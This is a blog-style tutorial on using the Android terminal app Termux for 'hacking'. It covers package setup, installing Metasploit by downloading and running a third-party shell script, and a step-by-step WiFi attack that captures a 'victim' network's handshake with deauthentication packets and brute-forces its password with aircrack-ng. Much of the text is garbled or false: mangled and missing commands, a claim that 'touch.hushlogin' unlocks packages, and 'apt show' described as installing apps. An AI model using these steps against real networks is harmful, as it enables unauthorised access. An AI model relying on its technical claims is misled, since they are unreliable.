DISCLAIMER: The information in this article is for educational purposes do not misuse or use this info for malicious purposes.You do that at your own risk.
WHAT IS TERMUX
Termux is an Android terminal emulator and Linux environment app that works directly with no rooting or setup required. A minimal base system is installed automatically – additional packages are available using the APT package manager.
Secure. Access remote servers using the ssh client from OpenSSH. Termux combines standard packages with accurate terminal emulation in a beautiful open source solution.
What is Hacking?
Hacking is the activity of identifying weaknesses in a computer system or a network to exploit the security to gain access to personal data or business data. An example of computer hacking can be: using a password cracking algorithm to gain access to a computer system.
Computers have become mandatory to run a successful businesses. It is not enough to have isolated computers systems; they need to be networked to facilitate communication with external businesses. This exposes them to the outside world and hacking. System hacking means using computers to commit fraudulent acts such as fraud, privacy invasion, stealing corporate/personal data, etc. Cyber crimes cost many organizations millions of dollars every year. Businesses need to protect themselves against such attacks.
Who is a Hacker?
A Hacker is a person who finds and exploits the weakness in computer systems and/or networks to gain access. Hackers are usually skilled computer programmers with knowledge of computer security.
Types of Hackers
Hackers are classified according to the intent of their actions. The following list classifies types of hackers according to their intent:
Termux Hacks Complete Guide All You Need To Know
Termux is an Android Terminal Emulator and Linux Environment App that works directly with no rooting or setup required. A minimal base system is installed automatically – additional packages are available using the APT package manager.
A Third Party developer called “Anonymous” has developed a Linux-self contained App called “Termux” which is used to install Linux based apps in Android and helps in running pure Linux apps in Android.
In this guide we will learn about various Termux hacks, termux tutorials, termux wifi hack commands list, termux guide, termux tools, apk & packages & termux uses. and if you are wondering why do I need LINUX apps? in android then you can read this tutorial
TERMUX apps like HYDRA and NMAP are easy to use and install. They are also platform independent and their Android versions are also identical to their LINUX versions.TERMUX’s uniqueness lies in its non-rooting installation facility. Rooting means having privileged facility over applications installed.
This feature makes it easy for users to install complex software like NMAP and HYDRA.
NMAP is an open source Network mapper written by Gordon Lyon (also known as Fyodor Vaskovich). As the above suggests, its purpose is to scan for hosts and networks in a particular area through sending specially crafted data packets and analysing their responses. In the hands of Cyber Security experts, it is considered as an effective tool of Network Audit, performing Security Scans and for conducting other similar Network Security Activities.
‘NMAP’ can be installed in TERMUX by typing the following: “pkg install nmap”. The installation is fast and swift. After that you can use ‘NMAP’ by typing out its name in the terminal.
HYDRA is another command line based computer program capable of performing dictionary attacks on exposed protocols and networks.
Some must have tools:
Termux Complete Guide:
Termux is available on Google PlayStore and F-Droid. It is free to download and easy to use. One must also download its plugins which help the app interface with Android API.
Pro Tip :
Also download Hacker Keyboard which has CTRL and ESC buttons in it. You’ll be needing it while working in the app. Better get it from F-Droid.
Let’s set it up now that we have downloaded the app. Since it’s a command line app like DOS, you have to rely on your memorising skills to master the app. Type the command: “pkg upgrade” to update all the built in packages then run “touch.hushlogin”. This helps unlock all the packages which you will require for your work.
For Example, a certain Mr. John had after downloading the app acquired the following packages: Python, Ruby, NodeJS, GO and C Programming through the following magical code:
Moving on to setting workspace. TERMUX provides the following as default save location for all your files:
But you can also change location by using the following example code:
mkdir notes gh homework temp
Next is configuring the dotfiles. Following is an example:
cd gh && git clone https://github.com/konradit/dotfiles.git && cp dotfiles/bashrc ~/.bashrc
Now install the basic packages using the following example and then Type exit to exit and enter the terminal again. The code is:
pkg install coreutilstermux-apitermux-exec termux-tools grep tree ncurses-utilsopensshgpg
Now you got a wicked terminal. Shorthand commands are:
n: cd $HOME/notes
nn: cd $HOME/notes && vim
t: cd $HOME/temp
gh: cd $HOME/gh
hh: cd $HOME/homework
Additionally you can just type the name of the directory and cd to it.If you want to have tmux run automatically when you enter the shell:
echo “tmux” >> ~/.bashrc
Pro tip: long press to copy/paste, change color scheme and change font!
The uses of TERMUX are limitless. There are people who host servers using it, some download youtube videos using it as sort of incognito mode methods plus there are also you-know “research” stuff done by certain individuals.
Given it’s a software, its list of useful commands are also limitless. Below is a list of sample commands provided by my friends used in TERMUX acquired by me due to sheer lack of proper resource material available for this paper. Here are the codes with their descriptions:
|pip install youtube-dl||For installing Youtube-dl|
|Packages install python||Installs Python|
|termux-setup-storage||Gives TERMUX access to your file system|
|mkdir ‘dir-name||For creating directory|
|cd “dir-name”||For changing directory|
|cat “file-name”||For reading any file|
|mv /path/file /path where file is moved||For moving files from one path to another.|
|cp /path/file /path where to copy file||For copying files from one path to other|
|rm filename.file-extension||For removing mentioned file from a certain directory.|
|ping “website URL”||Helps verify IP level connectivity|
|toilet -f mono12 -F gay “your text”||Presents text in a specified format.|
|apt show (app-name)||Gives a short but detailed summary on mentioned name of desired app.|
|apt show (app-name)||Installs the desired app|
How To Hack Using Termux ?
#1. How to encrypt, decrypt PDF files using TERMUX
Following is the list of “ingredients” required for preparing this combo:
- PDF Unlocker
- GitHub Link
Step #1: Run TERMUX, execute the following code and Press Enter. The code is:
pkg update &&pkg upgrade &&pkg install python2 &&pkg install git
The Result? The mentioned packages are installed in your system.
Step#2: Type the following code and press ENTER. The code is:“cd peepdf”.
Step #3: Now type command chmod +x peepdf.py and Press Enter
Step #4: Type command python2 peepdf.py -i and press Enter.
The steps above help in installation of PDF Unlocker in system.
Now we come to the Encryption part.
Step#1: After opening the PDF, type command encrypt Yourpassword Here “YourPassword” is Password for PDF file to open.
Step#2: then type command “save” and press Enter which makes your PDF Password Protected – a note pops up on your screen describing the same.
#1.1. How to decrypt files
Step#1: Open the file again by command open -f /sdcard/FileName.pdfand press Enter.
Step#2: Then type command decrypt YourPassword and press Enter. Password must be the same as set to encrypt the same PDF. In case of problem, PDF Unlocker is always there to help you out.
#2. Install Metasploit Using Termux
The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
Following are the steps you need to follow to install Metasploit:
#1: Install Termux from Google Play-Store
#2: Open And Wait it for its Installation process.
#3: Now type this Command
#4: After updating completed type this command
apt install curl
#5: Now Type
#6: Now type/copy this command
curl -LO https://raw.githubusercontent.com/Techzindia/Metasploit_For_Termux/master/metasploitTechzindia.sh
#7: After above file is downloaded, type “ls” command
#8: You’ll see a .sh file. Now type this command
chmod +x metasploitTechzindia.sh
#9: Now Run A Script By Type Command
You’ll see a process is started. So wait until it ends.
[Warning]: Don’t turn off your data connection or wifi connection.
#10: Now type “ls” command,
You’ll be seeing a metasploit-framework Folder.
#11: Open a folder by typing “cd <foldername>” .
#12: type “ls” command, you’ll see a list of files & folders. and then Type “./msfconsole” to run Metasploit thats all.
#3. How To Hack Wifi Using Termux (Termux WiFi hack commands list):
There is one software called “aircrack-ng” which you need to first download using Google’s help. Then follow the steps given below:
First connect your wifi-adapter to your device using an OTG cable
1) Friends first open Your Gnu Root Debian terminal or root terminal and start the monitor mode by typing these commands :
airmon-ng airmon-ng start wlan0
2) Now start the network detecting by typing this command :
Here you see your target device and stop the detecting by control + z.
3) Now create one folder and name it cap on your desktop or sd card and also create a password list to brute force the WiFi handshake ,collect the information about victim and create the password list for brute force.
4) Copy victim’s BSSID and also note the target channel CH number and type this command :
airodump-ng -c 6 --bssid00:26:44:AB:C5:C0 -w /root/Desktop/cap/ wlan0mon-w
There you must give the cap folder path if your created this cap folder on sdcard then you can give this path : -w /sdcard/cap/ wlan0mon
5) Now open another terminal and disconnect all devices with this command and capture a wifi handshake type same command but use here target bssid :
aireeplay-ng -0 5 -a 00:26:44:AB:C5:C0 -wlan0mon
now stop attack by control+z and close the terminal
6) now paste the password list in your cap folder and also go into the cap folder directory
Now crack with this command :
aircrack-ng -w pass.list 01.cap
7) this is a brute force attack if any password match to the handshake then it will be cracked.and you get the key (means passwords)
#4. Turn Android Device into a Web Server
First of all I have to say that this experimental is tested and worked only with the Iris web network written in Golang and Android version 5.1.
Following are the steps:
#1:Install & open termux
#2:Execute the following commands by order
$ pkg install git $ pkg install golang $ export GOPATH=/data/data/com.termux/files/home/go $ go get -u -v github.com/kataras/iris $ cd /data/data/com.termux/files/home/go/src/github.com/kataras/iris/_examples/hello-world $ go run main.go
#3: Open your favourite browser and navigate to http://localhost:8080
Lastly, I would like to conclude that TERMUX is one of the few apps whose overall utility is limitless. Termux allows you to have a portable hacking machine wherever you go!
Knowing how to use termux and android secret codes will make you an expert in android hacking and also please note hacking is not legal and if any of these method goes wrong then your android device may fail so do it on your own risk .